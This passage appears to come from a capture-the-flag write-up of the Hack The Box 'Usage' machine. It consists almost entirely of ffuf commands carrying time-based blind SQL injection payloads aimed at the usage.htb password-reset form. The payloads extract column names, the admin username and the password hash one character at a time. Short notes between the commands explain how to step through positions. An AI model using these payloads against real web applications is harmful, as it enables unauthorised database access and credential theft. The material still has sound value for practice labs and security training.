  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,2,1) FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Second Column Name character 1

we can use an env variable “pos” to make things faster rather than editing the ffuf command each time, we just update the “pos” variable

export pos=1

and adjust LIMIT ==1==,1 for second column name.

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,"$pos",1) FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 1,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Second Column Name character 2

export pos=2
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,"$pos",1) FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 1,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

First Column Name Guess

We know that the first column name is “id” so we’ll use a file with id inside of it. Then replace SUBSTRING(column_name,1,1) with column_name and add the table name using AND table_name= “admin_menu”

echo "id" > id.txt
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name= 'admin_menu' LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w id.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Second Column Name Guess

Adjust LIMIT ==1==,1

update the id.txt file

echo "parent_id" >> id.txt
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name= 'admin_menu' LIMIT 1,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w id.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Finding the column Data

First Username character 1

we’ll use the c env variable for that

export c=1
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(username,"$c",1) FROM admin_users LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

First Username character 2

export c=2
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(username,"$c",1) FROM admin_users LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

First Username Guess

We think that the username is admin, we’ll create a file with admin text.

echo admin > admin.txt
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT username FROM admin_users LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w admin.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

First Password Char 1 (the password of first username)

For passwords, we need to update out chars.txt to includes chars available in hashes

printf "%s\n" {a..z} {A..Z} {0..9} _ @ . : / - '!' '$' '%' '&' '*' > chars.txt

We’ll export our c variable to 1 to find the first char

export c=1

and change SELECT usernames with SELECT passwords, we’ll also make this a bit faster with 10 threads instead of 5.

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,"$c",1) FROM admin_users LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 10 \
  -p 0.5 \
  -mt ">1000"

First Password Char 2 (the password of first username)

All we need to do is change the c variable to 2

export c=2

Our ffuf request remains unchanged.

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,"$c",1) FROM admin_users LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 10 \
  -p 0.5 \
  -mt ">1000"